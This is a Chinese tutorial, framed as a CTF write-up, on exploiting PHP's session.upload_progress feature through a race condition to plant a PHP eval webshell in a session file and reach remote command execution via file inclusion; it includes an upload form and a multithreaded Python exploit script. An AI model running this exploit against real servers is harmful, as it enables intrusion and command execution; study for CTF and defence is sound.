使用session upload_progress实现文件包含实例详解

 更新时间:2022年12月09日 11:28:22   作者:XINO  
这篇文章主要为大家介绍了使用session upload_progress实现文件包含实例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

前言

该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争从而达到上传文件进行文件包含或者命令执行的目的,可能大部分人会不理解,我们下面我们展开来讲。

基础知识

session.upload_progress

首先我们要先学习什么是session.upload_progress,可以简单理解为文件上传进度,在php官方文档里可以找到描述:

在这里面有几个很重要的函数,我们简单看一下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一个显而易见是设定是否开启该功能,第二个cleanup则是是否在上传后删除文件,第三个为设置前缀,第四个为session中的键值,那么他们有什么用呢?我们就可以在phpinfo里查看这些信息是否开启以此来判断能不能利用该漏洞。

攻击方法

我们攻击思路就是利用session.upload_progress来将木马写入到session里面,但这里有两个问题:

问题一:代码里没有session_start,我们如何创建session文件呢?

首先我们先看看session里面有一个很重要的选项:

session.use_strict_mode //默认值为off。

我们可以自己定义sessionid,假如我们定义sessionid为xino,则PHP将会在服务器上创建一个文件:/tmp/sess_xino”。即使我们没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由:

ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成

最后被写入sess_文件里。

问题二:上面的cleanup设置会删除数据,我们要如何防止数据被删除呢?

所以这里需要我们文件竞争不断发包直至上传成功,之后再读取session文件所在路径即可。类似于下图,可以搭配burpsuite使用:

之后我们即可进行文件包含或者RCE攻击,总结一下该漏洞的利用条件:

存在文件包含漏洞

知道session文件存放路径,可以尝试默认路径

具有读取和写入session文件的权限

下面给大家带来一个例题。

例题

进入题目首先看看题目源码:

限制了我们很多东西,只能使用没有后缀的文件进行文件包含所以想到通过session.upload_progress来进行文件包含,因为我们需要上传一个东西,所以我们先写一个简单的文件上传点:

<!DOCTYPE html>
<html>
<body>
<form action="http://ctf" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

之后我们进行发包抓包然后重放,查看回显成功后我们访问/tmp/sess_flag,发现命令执行了:

我们将之前发包文件里面的ls命令改为cat flag的文件名即可进行命令执行,也是抓包重放查看返回长度不一样的包:

如果不喜欢手动我这里从网上找了一个自动化脚本,大家也可以尝试一下:

import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

结语

今天给大家带来的是session.upload_progress文件包含漏洞,因为需要一些网络安全基础可能部分读者不太明白,这里有兴趣的小伙伴可以自己去了解一下找个现成的靶机去尝试一下,更多关于session upload_progress文件包含的资料请关注脚本之家其它相关文章!

相关文章

  • php版微信公众平台之微信网页登陆授权示例

    php版微信公众平台之微信网页登陆授权示例

    这篇文章主要介绍了php版微信公众平台之微信网页登陆授权的方法,结合实例形式分析了微信网页登陆授权的接口调用及参数含义,需要的朋友可以参考下
    2016-09-09
  • php版微信自动登录并获取昵称的方法

    php版微信自动登录并获取昵称的方法

    这篇文章主要介绍了php版微信自动登录并获取昵称的方法,涉及php针对微信公众平台接口调用的相关操作技巧,需要的朋友可以参考下
    2016-09-09
  • Smarty中常用变量操作符汇总

    Smarty中常用变量操作符汇总

    这篇文章主要介绍了Smarty中常用变量操作符,实例汇总了常见的各种变量操作符,非常具有实用价值,需要的朋友可以参考下
    2014-10-10
  • thinkPHP框架实现的无限回复评论功能示例

    thinkPHP框架实现的无限回复评论功能示例

    这篇文章主要介绍了thinkPHP框架实现的无限回复评论功能,结合实例形式简单分析了thinkPHP实现无限回复的相关控制器、视图操作技巧,需要的朋友可以参考下
    2018-06-06
  • Laravel框架路由与MVC实例详解

    Laravel框架路由与MVC实例详解

    这篇文章主要介绍了Laravel框架路由与MVC,结合实例形式详细分析了laravel框架路由、MVC的模型、视图、控制器相关概念、原理及使用技巧,需要的朋友可以参考下
    2020-01-01
  • CodeIgniter常用知识点小结

    CodeIgniter常用知识点小结

    这篇文章主要介绍了CodeIgniter常用知识点,包括跳转、常量定义、语言设置及支持get方法传参等技巧,需要的朋友可以参考下
    2016-05-05
  • thinkPHP实现递归循环栏目并按照树形结构无限极输出的方法

    thinkPHP实现递归循环栏目并按照树形结构无限极输出的方法

    这篇文章主要介绍了thinkPHP实现递归循环栏目并按照树形结构无限极输出的方法,涉及thinkPHP数据库查询,数组遍历与字符串操作等技巧,需要的朋友可以参考下
    2016-05-05
  • 一个经典的PHP文件上传类分享

    一个经典的PHP文件上传类分享

    这篇文章主要介绍了一个经典的PHP文件上传类分享,本文详细全面的讲解了文件上传相关的需求分析及功能实现,并同时给出了使用代码,需要的朋友可以参考下
    2014-11-11
  • ThinkPHP3.1新特性之查询条件预处理简介

    ThinkPHP3.1新特性之查询条件预处理简介

    相比于ThinkPHP3.0版本对数组方式的查询条件会进行安全过滤而不支持字符串条件的安全过滤的情况,ThinkPHP3.1版本则增加了对条件字符串进行预处理的支持,让ORM的安全性更加得以保证。这篇文章主要介绍了ThinkPHP3.1的查询条件预处理,需要的朋友可以参考下
    2014-06-06
  • PHP DataGrid 实现代码

    PHP DataGrid 实现代码

    最近想做一个通过PHP实现DataGrid功能的东西,这样可以直接修改数据库中表的内容,而不用开发【新增数据页面】,【编辑页面】,于是乎在网上找了找,类似的东西也有几个,开源的、付费的都有,不过基本都是基于MySQL。
    2009-08-08

最新评论